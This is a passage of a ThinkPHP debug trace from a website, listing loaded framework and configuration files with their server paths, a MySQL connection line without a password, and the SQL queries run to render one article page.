  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000605s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000823s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000323s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000346s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000536s ]
  6. SELECT * FROM `set` [ RunTime:0.000217s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000556s ]
  8. SELECT * FROM `article` WHERE `id` = 479603 LIMIT 1 [ RunTime:0.000522s ]
  9. UPDATE `article` SET `lasttime` = 1774600890 WHERE `id` = 479603 [ RunTime:0.007124s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000262s ]
  11. SELECT * FROM `article` WHERE `id` < 479603 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000504s ]
  12. SELECT * FROM `article` WHERE `id` > 479603 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000391s ]
  13. SELECT * FROM `article` WHERE `id` < 479603 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001108s ]
  14. SELECT * FROM `article` WHERE `id` < 479603 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.000941s ]
  15. SELECT * FROM `article` WHERE `id` < 479603 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.013379s ]
0.110632s